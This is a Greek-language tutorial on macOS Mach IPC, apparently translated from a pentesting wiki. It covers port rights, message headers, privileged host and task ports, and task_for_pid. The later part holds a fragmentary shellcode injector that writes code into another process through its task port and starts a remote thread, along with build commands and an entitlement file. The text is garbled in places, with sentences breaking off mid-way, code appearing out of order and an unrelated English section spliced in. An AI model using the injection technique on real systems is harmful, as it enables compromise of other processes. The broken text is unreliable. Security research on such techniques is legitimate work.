Το Mach χρησιμοποιεί εργασίες ως τη μικρότερη μονάδα για την κοινή χρήση πόρων, και κάθε εργασία μπορεί να περιέχει πολλά νήματα. Αυτές οι εργασίες και νήματα αντιστοιχούν 1:1 σε διεργασίες και νήματα POSIX.
Η επικοινωνία μεταξύ εργασιών πραγματοποιείται μέσω της Διαδικασίας Επικοινωνίας Διεργασίας Mach (IPC), χρησιμοποιώντας μονοδιευθυντικά κανάλια επικοινωνίας. Τα μηνύματα μεταφέρονται μεταξύ θυρών, οι οποίες λειτουργούν ως είδος ουράς μηνυμάτων που διαχειρίζεται το πυρήνας.
Μια θύρα είναι το βασικό στοιχείο της Mach IPC. Μπορεί να χρησιμοποιηθεί για να στείλει μηνύματα και να τα λαμβάνει.
Κάθε διεργασία έχει μια πίνακα IPC, όπου είναι δυνατό να βρεθούν οι θύρες mach της διεργασίας. Το όνομα μιας θύρας mach είναι πραγματικά ένας αριθμός (ένας δείκτης στο αντικείμενο πυρήνα).
Μια διεργασία μπορεί επίσης να στείλει ένα όνομα θύρας με κάποια δικαιώματα σε μια διαφορετική εργασία και το πυρήνας θα κάνει αυτήν την καταχώριση στο πίνακα IPC της άλλης εργασίας να εμφανιστεί.
Δικαιώματα Θύρας
Τα δικαιώματα θύρας, τα οποία καθορίζουν ποιες λειτουργίες μπορεί να εκτελέσει μια εργασία, είναι καίριας σημασίας για αυτήν την επικοινωνία. Τα πιθανά δικαιώματα θύρας είναι (ορισμοί από εδώ):
Δικαίωμα Λήψης, το οποίο επιτρέπει τη λήψη μηνυμάτων που στέλνονται στη θύρα. Οι θύρες Mach είναι ουρές MPSC (πολλαπλών παραγωγών, μονός καταναλωτής), που σημαίνει ότι μπορεί να υπάρχει μόνο ένα δικαίωμα λήψης για κάθε θύρα σε ολόκληρο το σύστημα (διαφορετικά από τα αγωγά, όπου πολλές διεργασίες μπορούν να κρατούν όλες δείκτες αρχείων στο άκρο ανάγνωσης ενός αγωγού).
Μια εργασία με το Δικαίωμα Λήψης μπορεί να λαμβάνει μηνύματα και να δημιουργεί Δικαιώματα Αποστολής, επιτρέποντάς της να στέλνει μηνύματα. Αρχικά μόνο η ίδια εργασία έχει το Δικαίωμα Λήψης πάνω από τη θύρα της.
Εάν ο κάτοχος του Δικαιώματος Λήψης πεθάνει ή το κλείσει, το δικαίωμα αποστολής γίνεται άχρηστο (νεκρό όνομα).
Δικαίωμα Αποστολής, το οποίο επιτρέπει την αποστολή μηνυμάτων στη θύρα.
Το Δικαίωμα Αποστολής μπορεί να κλωνοποιηθεί έτσι μια εργασία που κατέχει ένα Δικαίωμα Αποστολής μπορεί να κλωνοποιήσει το δικαίωμα και να το χορηγήσει σε μια τρίτη εργασία.
Σημειώστε ότι τα δικαιώματα θύρας μπορούν επίσης να περάσουν μέσω μηνυμάτων Mac.
Δικαίωμα Αποστολής-Μία-Φορά, το οποίο επιτρέπει την αποστολή ενός μηνύματος στη θύρα και στη συνέχεια εξαφανίζεται.
Αυτό το δικαίωμα δεν μπορεί να κλωνοποιηθεί, αλλά μπορεί να μετακινηθεί.
Δικαίωμα Συνόλου Θυρών, το οποίο υποδηλώνει ένα σύνολο θυρών αντί για μια μεμονωμένη θύρα. Η αποσύνθεση ενός μηνύματος από ένα σύνολο θυρών αποσύρει ένα μήνυμα από μία από τις θύρες που περιέχει. Τα σύνολα θυρών μπορούν να χρησιμοποιηθούν για να ακούσουν ταυτόχρονα σε πολλές θύρες, πολύ παρόμοια με το select/poll/epoll/kqueue στο Unix.
Νεκρό Όνομα, το οποίο δεν είναι ένα πραγματικό δικαίωμα θύρας, αλλά απλώς ένας αντικαταστάτης. Όταν μια θύρα καταστραφεί, όλα τα υπάρχοντα δικαιώματα θύρας στη θύρα γίνονται νεκρά ονόματα.
Οι εργασίες μπορούν να μεταφέρουν ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ σε άλλους, επιτρέποντάς τους να στέλνουν μηνύματα πίσω. Τα ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ μπορούν επίσης να κλωνοποιηθούν, έτσι μια εργασία μπορεί να διπλασιάσει και να δώσει το δικαίωμα σε μια τρίτη εργασία. Αυτό, σε συνδυασμό με ένα ενδιάμεσο διεργασία γνωστό ως διακομιστής εκκίνησης, επιτρέπει αποτελεσματική επικοινωνία μεταξύ εργασιών.
Θύρες Αρχείων
Οι θύρες αρχείων επιτρέπουν την ενθυλάκωση αριθμού αρχείου σε θύρες Mac (χρησιμοποιώντας δικαιώματα θύρας Mach). Είναι δυνατόν να δημιουργηθεί ένα fileport από έναν δεδομένο FD χρησιμοποιώντας το fileport_makeport και να δημιουργηθεί ένα FD από ένα fileport χρησιμοποιώντας το fileport_makefd.
Καθιέρωση Επικοινωνίας
Όπως αναφέρθηκε προηγουμένως, είναι δυνατό να στείλετε δικαιώματα χρησιμοποιώντας μηνύματα Mach, ωστόσο, δεν μπορείτε να στείλετε ένα δικαίωμα χωρίς να έχετε ήδη ένα δικαίωμα για να
Η συνάρτηση mach_msg, ουσιαστικά ένα κάλεσμα συστήματος, χρησιμοποιείται για την αποστολή και λήψη μηνυμάτων Mach. Η συνάρτηση απαιτεί το μήνυμα που θα αποσταλεί ως αρχικό όρισμα. Αυτό το μήνυμα πρέπει να ξεκινά με μια δομή mach_msg_header_t, ακολουθούμενη από το πραγματικό περιεχόμενο του μηνύματος. Η δομή ορίζεται ως εξής:
Οι διεργασίες που διαθέτουν ένα δικαίωμα λήψης (receive right) μπορούν να λαμβάνουν μηνύματα σε ένα θύρα Mach. Αντίστροφα, οι αποστολείς (senders) διαθέτουν ένα δικαίωμα αποστολής (send) ή ένα δικαίωμα αποστολής μία φορά (send-once right). Το δικαίωμα αποστολής μία φορά χρησιμοποιείται αποκλειστικά για την αποστολή ενός μόνο μηνύματος, μετά το οποίο γίνεται άκυρο.
Το αρχικό πεδίο msgh_bits είναι ένα bitmap:
Το πρώτο bit (πιο σημαντικό) χρησιμοποιείται για να υποδείξει ότι ένα μήνυμα είναι πολύπλοκο (περισσότερα παρακάτω)
Τα 3ο και 4ο χρησιμοποιούνται από τον πυρήνα
Τα 5 λιγότερο σημαντικά bits του 2ου byte μπορούν να χρησιμοποιηθούν για voucher: έναν άλλο τύπο θύρας για την αποστολή συνδυασμών κλειδιού/τιμής.
Τα 5 λιγότερο σημαντικά bits του 3ου byte μπορούν να χρησιμοποιηθούν για τοπική θύρα
Τα 5 λιγότερο σημαντικά bits του 4ου byte μπορούν να χρησιμοποιηθούν για απομακρυσμένη θύρα
Οι τύποι που μπορούν να καθοριστούν στο voucher, τις τοπικές και απομακρυσμένες θύρες είναι (από το mach/message.h):
#defineMACH_MSG_TYPE_MOVE_RECEIVE16 /* Must hold receive right */#defineMACH_MSG_TYPE_MOVE_SEND17 /* Must hold send right(s) */#defineMACH_MSG_TYPE_MOVE_SEND_ONCE18 /* Must hold sendonce right */#defineMACH_MSG_TYPE_COPY_SEND19 /* Must hold send right(s) */#defineMACH_MSG_TYPE_MAKE_SEND20 /* Must hold receive right */#defineMACH_MSG_TYPE_MAKE_SEND_ONCE21 /* Must hold receive right */#defineMACH_MSG_TYPE_COPY_RECEIVE22 /* NOT VALID */#defineMACH_MSG_TYPE_DISPOSE_RECEIVE24 /* must hold receive right */#defineMACH_MSG_TYPE_DISPOSE_SEND25 /* must hold send right(s) */#defineMACH_MSG_TYPE_DISPOSE_SEND_ONCE26 /* must hold sendonce right */
Για παράδειγμα, το MACH_MSG_TYPE_MAKE_SEND_ONCE μπορεί να χρησιμοποιηθεί για να υποδείξει ότι ένα δικαίωμα αποστολής μία φορά θα πρέπει να προκύψει και να μεταφερθεί γι' αυτή τη θύρα. Μπορεί επίσης να καθοριστεί το MACH_PORT_NULL για να αποτραπεί ο παραλήπτης να μπορεί να απαντήσει.
Για να επιτευχθεί μια εύκολη διπλής κατεύθυνσης επικοινωνία ένας διεργασία μπορεί να καθορίσει μια θύρα mach στην κεφαλίδα μηνύματος mach που ονομάζεται θύρα απάντησης (msgh_local_port) όπου ο παραλήπτης του μηνύματος μπορεί να στείλει μια απάντηση σε αυτό το μήνυμα.
Σημειώστε ότι αυτού του είδους η διπλής κατεύθυνσης επικοινωνία χρησιμοποιείται σε μηνύματα XPC που αναμένουν μια απάντηση (xpc_connection_send_message_with_reply και xpc_connection_send_message_with_reply_sync). Ωστόσο, συνήθως δημιουργούνται διαφορετικές θύρες όπως εξηγήθηκε προηγουμένως για τη δημιουργία της διπλής κατεύθυνσης επικοινωνίας.
Τα άλλα πεδία της κεφαλίδας του μηνύματος είναι:
msgh_size: το μέγεθος ολόκληρου του πακέτου.
msgh_remote_port: η θύρα στην οποία αποστέλλεται αυτό το μήνυμα.
msgh_id: το ID αυτού του μηνύματος, το οποίο ερμηνεύεται από τον παραλήπτη.
Σημειώστε ότι τα μηνύματα mach αποστέλλονται μέσω μιας θύρας mach, η οποία είναι ένα κανάλι επικοινωνίας μοναδικού παραλήπτη, πολλαπλών αποστολέων που έχει ενσωματωθεί στον πυρήνα mach. Πολλές διεργασίες μπορούν να στείλουν μηνύματα σε μια θύρα mach, αλλά ανά πάσα στιγμή μόνο μια διεργασία μπορεί να διαβάσει από αυτήν.
Τα μηνύματα σχηματίζονται από την κεφαλίδα mach_msg_header_t ακολουθούμενη από το σώμα και από το τρέιλερ (εάν υπάρχει) και μπορεί να επιτρέψει την άδεια απάντησης σε αυτό. Σε αυτές τις περιπτώσεις, ο πυρήνας απλώς χρειάζεται να περάσει το μήνυμα από μια εργασία σε μια άλλη.
Ένα τρέιλερ είναι πληροφορίες που προστίθενται στο μήνυμα από τον πυρήνα (δεν μπορούν να οριστούν από τον χρήστη) τα οποία μπορούν να ζητηθούν κατά τη λήψη μηνύματος με τις σημαίες MACH_RCV_TRAILER_<trailer_opt> (υπάρχουν διαφορετικές πληροφορίες που μπορούν να ζητηθούν).
Πολύπλοκα Μηνύματα
Ωστόσο, υπάρχουν και άλλα πιο πολύπλοκα μηνύματα, όπως αυτά που περνούν επιπλέον δικαιώματα θύρας ή μοιράζονται μνήμη, όπου ο πυρήνας πρέπει επίσης να στείλει αυτά τα αντικείμενα στον παραλήπτη. Σε αυτές τις περιπτώσεις, το πιο σημαντικό bit της κεφαλίδας msgh_bits ορίζεται.
Οι πιθανοί περιγραφείς που περνούν καθορίζονται στο mach/message.h:
Σημειώστε ότι τα ports συσχετίζονται με το namespace του task, οπότε για να δημιουργήσετε ή να αναζητήσετε ένα port, το namespace του task επίσης ελέγχεται (περισσότερα στο mach/mach_port.h):
mach_port_allocate | mach_port_construct: Δημιουργία ενός port.
Το mach_port_allocate μπορεί επίσης να δημιουργήσει ένα port set: δικαίωμα λήψης πάνω από μια ομάδα ports. Κάθε φορά που λαμβάνεται ένα μήνυμα, υποδεικνύεται το port από όπου προήλθε.
mach_port_allocate_name: Αλλαγή του ονόματος του port (προεπιλεγμένα 32bit ακέραιος)
mach_port_names: Λήψη ονομάτων port από έναν στόχο
mach_port_type: Λήψη δικαιωμάτων ενός task πάνω σε ένα όνομα
mach_port_rename: Μετονομασία ενός port (όπως το dup2 για τα FDs)
mach_port_allocate: Εκχώρηση ενός νέου RECEIVE, PORT_SET ή DEAD_NAME
mach_port_insert_right: Δημιουργία ενός νέου δικαιώματος σε ένα port όπου έχετε RECEIVE
mach_port_...
mach_msg | mach_msg_overwrite: Συναρτήσεις που χρησιμοποιούνται για την αποστολή και λήψη μηνυμάτων mach. Η έκδοση overwrite επιτρέπει την καθορισμό διαφορετικού buffer για τη λήψη μηνύματος (η άλλη έκδοση θα το επαναχρησιμοποιήσει).
Debug mach_msg
Καθώς οι συναρτήσεις mach_msg και mach_msg_overwrite είναι αυτές που χρησιμοποιούνται για την αποστολή και λήψη μηνυμάτων, η ορισμός ενός σημείου αναμονής σε αυτές θα επιτρέψει την επιθεώρηση των απεσταλμένων και ληφθέντων μηνυμάτων.
Για παράδειγμα, ξεκινήστε την αποσφαλμάτωση οποιασδήποτε εφαρμογής που μπορείτε να αποσφαλματώσετε καθώς θα φορτώσει το libSystem.B που θα χρησιμοποιήσει αυτή τη συνάρτηση.
Το όνομα είναι το προεπιλεγμένο όνομα που δίνεται στη θύρα (ελέγξτε πώς αυξάνεται στα πρώτα 3 bytes). Το ipc-object είναι το κρυπτογραφημένο μοναδικό αναγνωριστικό της θύρας.
Σημειώστε επίσης πώς οι θύρες με μόνο δικαίωμα send αναγνωρίζουν τον ιδιοκτήτη τους (όνομα θύρας + pid).
Επίσης, σημειώστε τη χρήση του + για να υποδείξετε άλλες εργασίες που συνδέονται με την ίδια θύρα.
Είναι επίσης δυνατόν να χρησιμοποιήσετε το procesxp για να δείτε επίσης τα ονόματα των εγγεγραμμένων υπηρεσιών (με το SIP απενεργοποιημένο λόγω της ανάγκης του com.apple.system-task-port):
Σημειώστε πως ο αποστολέας δεσμεύει ένα θύρα, δημιουργεί ένα δικαίωμα αποστολής για το όνομα org.darlinghq.example και το στέλνει στο διακομιστή εκκίνησης ενώ ο αποστολέας ζήτησε το δικαίωμα αποστολής αυτού του ονόματος και το χρησιμοποίησε για να στείλει ένα μήνυμα.
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html// gcc receiver.c -o receiver#include<stdio.h>#include<mach/mach.h>#include<servers/bootstrap.h>intmain() {// Create a new port.mach_port_t port;kern_return_t kr =mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE,&port);if (kr != KERN_SUCCESS) {printf("mach_port_allocate() failed with code 0x%x\n", kr);return1;}printf("mach_port_allocate() created port right name %d\n", port);// Give us a send right to this port, in addition to the receive right.kr =mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);if (kr != KERN_SUCCESS) {printf("mach_port_insert_right() failed with code 0x%x\n", kr);return1;}printf("mach_port_insert_right() inserted a send right\n");// Send the send right to the bootstrap server, so that it can be looked up by other processes.kr =bootstrap_register(bootstrap_port,"org.darlinghq.example", port);if (kr != KERN_SUCCESS) {printf("bootstrap_register() failed with code 0x%x\n", kr);return1;}printf("bootstrap_register()'ed our port\n");// Wait for a message.struct {mach_msg_header_t header;char some_text[10];int some_number;mach_msg_trailer_t trailer;} message;kr =mach_msg(&message.header, // Same as (mach_msg_header_t *) &message.MACH_RCV_MSG, // Options. We're receiving a message.0, // Size of the message being sent, if sending.sizeof(message), // Size of the buffer for receiving.port, // The port to receive a message on.MACH_MSG_TIMEOUT_NONE,MACH_PORT_NULL // Port for the kernel to send notifications about this message to.);if (kr != KERN_SUCCESS) {printf("mach_msg() failed with code 0x%x\n", kr);return1;}printf("Got a message\n");message.some_text[9] =0;printf("Text: %s, number: %d\n",message.some_text,message.some_number);}
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html// gcc sender.c -o sender#include<stdio.h>#include<mach/mach.h>#include<servers/bootstrap.h>intmain() {// Lookup the receiver port using the bootstrap server.mach_port_t port;kern_return_t kr =bootstrap_look_up(bootstrap_port,"org.darlinghq.example",&port);if (kr != KERN_SUCCESS) {printf("bootstrap_look_up() failed with code 0x%x\n", kr);return1;}printf("bootstrap_look_up() returned port right name %d\n", port);// Construct our message.struct {mach_msg_header_t header;char some_text[10];int some_number;} message;message.header.msgh_bits =MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND,0);message.header.msgh_remote_port = port;message.header.msgh_local_port = MACH_PORT_NULL;strncpy(message.some_text,"Hello",sizeof(message.some_text));message.some_number =35;// Send the message.kr =mach_msg(&message.header, // Same as (mach_msg_header_t *) &message.MACH_SEND_MSG, // Options. We're sending a message.sizeof(message), // Size of the message being sent.0, // Size of the buffer for receiving.MACH_PORT_NULL, // A port to receive a message on, if receiving.MACH_MSG_TIMEOUT_NONE,MACH_PORT_NULL // Port for the kernel to send notifications about this message to.);if (kr != KERN_SUCCESS) {printf("mach_msg() failed with code 0x%x\n", kr);return1;}printf("Sent a message\n");}
Προνομιούχες Θύρες
Υπάρχουν μερικές ειδικές θύρες που επιτρέπουν την εκτέλεση συγκεκριμένων ευαίσθητων ενεργειών ή την πρόσβαση σε συγκεκριμένα ευαίσθητα δεδομένα στην περίπτωση που μια εργασία έχει τις άδειες SEND πάνω σε αυτές. Αυτό καθιστά αυτές τις θύρες πολύ ενδιαφέρουσες από την άποψη των επιτιθέμενων όχι μόνο λόγω των δυνατοτήτων αλλά και επειδή είναι δυνατόν να μοιραστούν οι άδειες SEND μεταξύ εργασιών.
Ειδικές Θύρες Οικοδεσπότη
Αυτές οι θύρες εκφράζονται με έναν αριθμό.
Τα δικαιώματα SEND μπορούν να αποκτηθούν καλώντας την host_get_special_port και τα δικαιώματα RECEIVE καλώντας την host_set_special_port. Ωστόσο, και οι δύο κλήσεις απαιτούν τη θύρα host_priv στην οποία μόνο ο ριζικός χρήστης μπορεί να έχει πρόσβαση. Επιπλέον, στο παρελθόν ο ριζικός χρήστης μπορούσε να καλέσει την host_set_special_port και να αρπάξει τυχαίες που επέτρεπαν, για παράδειγμα, την παράκαμψη των υπογραφών κώδικα με την αρπαγή της HOST_KEXTD_PORT (το SIP τώρα το αποτρέπει).
Αυτές διαιρούνται σε 2 ομάδες: Οι πρώτες 7 θύρες ανήκουν στον πυρήνα με την 1 να είναι η HOST_PORT, η 2 η HOST_PRIV_PORT, η 3 η HOST_IO_MASTER_PORT και η 7 η HOST_MAX_SPECIAL_KERNEL_PORT.
Αυτές που ξεκινούν από τον αριθμό 8 ανήκουν σε συστημικούς δαίμονες και μπορούν να βρεθούν δηλωμένες στο host_special_ports.h.
Θύρα Οικοδεσπότη: Αν ένας διεργασία έχει προνόμια SEND πάνω σε αυτήν τη θύρα, μπορεί να λάβει πληροφορίες για το σύστημα καλώντας τις ρουτίνες της όπως:
Προνομιούχα Θύρα Οικοδεσπότη: Μια διεργασία με δικαίωμα SEND πάνω σε αυτήν τη θύρα μπορεί να εκτελέσει προνομιούχες ενέργειες όπως εμφάνιση δεδομένων εκκίνησης ή προσπάθεια φόρτωσης επέκτασης πυρήνα. Η διεργασία πρέπει να είναι ριζική για να λάβει αυτήν την άδεια.
Επιπλέον, για να καλέσει το API kext_request απαιτούνται άλλα δικαιώματα com.apple.private.kext* τα οποία δίνονται μόνο σε δυαδικά αρχεία της Apple.
host_processors: Αποστολή δικαιωμάτων σε επεξεργαστές οικοδεσπότη
mach_vm_wire: Κάνει τη μνήμη μόνιμη
Καθώς ο ριζικός χρήστης μπορεί να έχει πρόσβαση σε αυτήν την άδεια, θα μπορούσε να καλέσει host_set_[special/exception]_port[s] για να αρπάξει ειδικές ή εξαιρετικές θύρες οικοδεσπότη.
Είναι δυνατόν να δείτε όλες τις ειδικές θύρες οικοδεσπότη εκτελώντας:
procexpallports|grep"HSP"
Ειδικές Θύρες Εργασίας
Αυτές είναι οι θύρες που είναι επιφυλαγμένες για γνωστές υπηρεσίες. Είναι δυνατόν να τις ανακτήσετε/ορίσετε καλώντας τις task_[get/set]_special_port. Μπορούν να βρεθούν στο αρχείο task_special_ports.h:
typedefinttask_special_port_t;#defineTASK_KERNEL_PORT1 /* Represents task to the outsideworld.*/#defineTASK_HOST_PORT2 /* The host (priv) port for task. */#defineTASK_BOOTSTRAP_PORT4 /* Bootstrap environment for task. */#defineTASK_WIRED_LEDGER_PORT5 /* Wired resource ledger for task. */#defineTASK_PAGED_LEDGER_PORT6 /* Paged resource ledger for task. */
TASK_KERNEL_PORT[δικαίωμα αποστολής task-self]: Η θύρα που χρησιμοποιείται για τον έλεγχο αυτού του task. Χρησιμοποιείται για την αποστολή μηνυμάτων που επηρεάζουν το task. Αυτή είναι η θύρα που επιστρέφεται από το mach_task_self (δείτε Task Ports παρακάτω).
TASK_BOOTSTRAP_PORT[δικαίωμα αποστολής bootstrap]: Η bootstrap θύρα του task. Χρησιμοποιείται για την αποστολή μηνυμάτων που ζητούν την επιστροφή άλλων θυρών υπηρεσιών του συστήματος.
TASK_HOST_NAME_PORT[δικαίωμα αποστολής host-self]: Η θύρα που χρησιμοποιείται για την αίτηση πληροφοριών του φιλοξενούντος υπολογιστή. Αυτή είναι η θύρα που επιστρέφεται από το mach_host_self.
TASK_WIRED_LEDGER_PORT[δικαίωμα αποστολής ledger]: Η θύρα που ονομάζει την πηγή από την οποία το task αντλεί την συνδεδεμένη μνήμη πυρήνα.
TASK_PAGED_LEDGER_PORT[δικαίωμα αποστολής ledger]: Η θύρα που ονομάζει την πηγή από την οποία το task αντλεί την προεπιλεγμένη μνήμη που διαχειρίζεται.
Θύρες Task
Αρχικά, το Mach δεν είχε "διεργασίες", είχε "tasks" που θεωρούνταν περισσότερο σαν ένας δοχείο νημάτων. Όταν το Mach συγχωνεύτηκε με το BSD, κάθε task συσχετίστηκε με μια διεργασία BSD. Συνεπώς, κάθε διεργασία BSD έχει τις λεπτομέρειες που χρειάζεται για να είναι μια διεργασία και κάθε task Mach έχει επίσης τις εσωτερικές λειτουργίες της (εκτός από το μη υπαρκτό pid 0 που είναι το kernel_task).
Υπάρχουν δύο πολύ ενδιαφέρουσες συναρτήσεις σχετικές με αυτό:
task_for_pid(target_task_port, pid, &task_port_of_pid): Λάβετε ένα SEND δικαίωμα για τη θύρα του task που σχετίζεται με το καθορισμένο από το pid και δώστε το στην καθορισμένη target_task_port (που συνήθως είναι το task καλούντος που χρησιμοποίησε το mach_task_self(), αλλά θα μπορούσε να είναι μια SEND θύρα σε διαφορετικό task.)
pid_for_task(task, &pid): Δεδομένου ενός SEND δικαιώματος σε ένα task, βρείτε σε ποιο PID σχετίζεται αυτό το task.
Για να εκτελέσετε ενέργειες εντός του task, το task χρειαζόταν ένα δικαίωμα SEND στον εαυτό του καλώντας το mach_task_self() (που χρησιμοποιεί το task_self_trap (28)). Με αυτή την άδεια, ένα task μπορεί να εκτελέσει διάφορες ενέργειες όπως:
task_threads: Λάβετε SEND δικαίωμα πάνω από όλες τις θύρες task των νημάτων του task
task_info: Λάβετε πληροφορίες για ένα task
task_suspend/resume: Αναστολή ή επανέναρξη ενός task
task_[get/set]_special_port
thread_create: Δημιουργία ενός νήματος
task_[get/set]_state: Έλεγχος κατάστασης task
και περισσότερα μπορούν να βρεθούν στο mach/task.h
Σημειώστε ότι με ένα SEND δικαίωμα πάνω σε μια θύρα task ενός διαφορετικού task, είναι δυνατόν να εκτελεστούν τέτοιες ενέργειες σε ένα διαφορετικό task.
Επιπλέον, η task_port είναι επίσης η θύρα vm_map που επιτρέπει την ανάγνωση και την τροποποίηση μνήμης μέσα σε ένα task με συναρτήσεις όπως vm_read() και vm_write(). Αυτό σημαίνει βασικά ότι ένα task με δικαιώματα SEND πάνω στη task_port ενός διαφορετικού task θα μπορεί να ενθάρρυνει κώδικα σε αυτό το task.
Θυμηθείτε ότι επειδή το πυρήνας είναι επίσης ένα task, αν κάποιος καταφέρει να λάβει δικαιώματα SEND πάνω στο kernel_task, θα μπορεί να κάνει τον πυρήνα να εκτελέσει οτιδήποτε (jailbreaks).
Καλέστε το mach_task_self() για να λάβετε το όνομα γι' αυτή τη θύρα για το task του καλούντος. Αυτή η θύρα κληρονομείται μόνο κατά το exec()· ένα νέο task που δημιουργείται με fork() λαμβάνει μια νέα θύρα task (ως ειδική περίπτωση, ένα task λαμβάνει επίσης μια νέα θύρα task μετά το exec() σε ένα suid δυαδικό). Ο μόνος τρόπος να δημιουργηθεί ένα task και να ληφθεί η θύρα του είναι να εκτελεστεί ο "χορός ανταλλαγής θυρών" κατά τη διάρκεια ενός fork().
Αυτές είναι οι περιορισμοί για την πρόσβαση στη θύρα (από macos_task_policy από το δυαδικό AppleMobileFileIntegrity):
Αν η εφαρμογή έχει το δικαίωμα επιτρέπεται get-task-allow διεργασίες από τον ίδιο χρήστη μπορούν να έχουν πρόσβαση στη θύρα του task (συνήθως προστίθεται από το Xcode για αποσφαλμάτωση). Η διαδικασία επικύρωσης δεν θα το επιτρέψει σε παραγωγικές εκδόσεις.
Οι εφαρμογές με το δικαίωμα com.apple.system-task-ports μπορούν να λάβουν τη θύρα task για οποιαδήποτε διεργασία, εκτός από τον πυρήνα. Σε παλαιότερες εκδόσεις ονομαζόταν task_for_pid-allow. Αυτό χορηγείται μόνο σε εφαρμογές της Apple.
Ο ριζικός χρήστης μπορεί να έχει πρόσβαση στις θύρες task εφαρμογών που δεν έχουν συνταχθεί με ένα σκληρυνμένο χρόνο εκτέλεσης (και όχι από την Apple).
Η θύρα ονόματος task: Μια μη προνομιούχα έκδοση της θύρας task. Αναφέρεται στο task, αλλά δεν επιτρέπει τον έλεγχό του. Το μόνο που φαίνεται να είναι διαθέσιμο μέσω αυτής είναι το task_info().
Θύρες Νημάτων
Τα νήματα έχουν επίσης συσχετισμένες θύρες, οι οποίες είναι ορατές από το task που καλεί το task_threads και από τον επεξεργαστή με το processor_set_threads. Ένα SEND δικαίωμα στη θύρα του νήματος επιτρέπει τη χρήση της λειτουργίας από το υποσύστημα thread_act, όπως:
thread_terminate
thread_[get/set]_state
act_[get/set]_state
thread_[suspend/resume]
thread_info
...
Κάθε νήμα μπορεί να λάβει αυτή τη θύρα καλώντας το mach_thread_sef.
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
macOS Δικαιώματα
Τα δικαιώματα είναι μια λίστα με δικαιώματα που μπορούν να χορηγηθούν σε μια εφαρμογή macOS μέσω του αρχείου entitlements.plist. Αυτά τα δικαιώματα μπορούν να επιτρέψουν πρόσβαση σε ευαίσθητες λειτουργίες του συστήματος ή σε άλλες εφαρμογές. Είναι σημαντικό να διαχειρίζεστε προσεκτικά τα δικαιώματα που χορηγούνται σε κάθε εφαρμογή προκειμένου να διατηρηθεί η ασφάλεια του συστήματος.
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><key>com.apple.security.get-task-allow</key><true/></dict></plist>
Συντάξτε το προηγούμενο πρόγραμμα και προσθέστε τα δικαιώματα για να μπορείτε να εισάγετε κώδικα με τον ίδιο χρήστη (αν όχι, θα χρειαστεί να χρησιμοποιήσετε sudo).
sc_injector.m
```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector // Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669 // and on https://newosxbook.com/src.jl?tree=listings&file=inject.c
// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }
// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }
// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }
// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }
// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }
// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;
if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }
inject(pid); }
return 0; }
</details>
---
### macOS IPC (Inter-Process Communication)
Inter-Process Communication (IPC) mechanisms in macOS can be abused by attackers to escalate privileges and execute malicious actions. Understanding how IPC works in macOS is crucial for identifying and exploiting potential security weaknesses. This section explores common IPC mechanisms in macOS and how they can be leveraged for privilege escalation attacks.
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
Για να λειτουργήσει αυτό στο iOS χρειάζεστε το entitlement dynamic-codesigning προκειμένου να μπορείτε να κάνετε μια εγγράψιμη μνήμη εκτελέσιμη.
Εισαγωγή Dylib σε νήμα μέσω της θύρας Task
Στο macOS τα νήματα μπορούν να χειριστούν μέσω του Mach ή χρησιμοποιώντας το posix pthread api. Το νήμα που δημιουργήθηκε στην προηγούμενη εισαγωγή, δημιουργήθηκε χρησιμοποιώντας το Mach api, οπότε δεν είναι συμμορφωμένο με το posix.
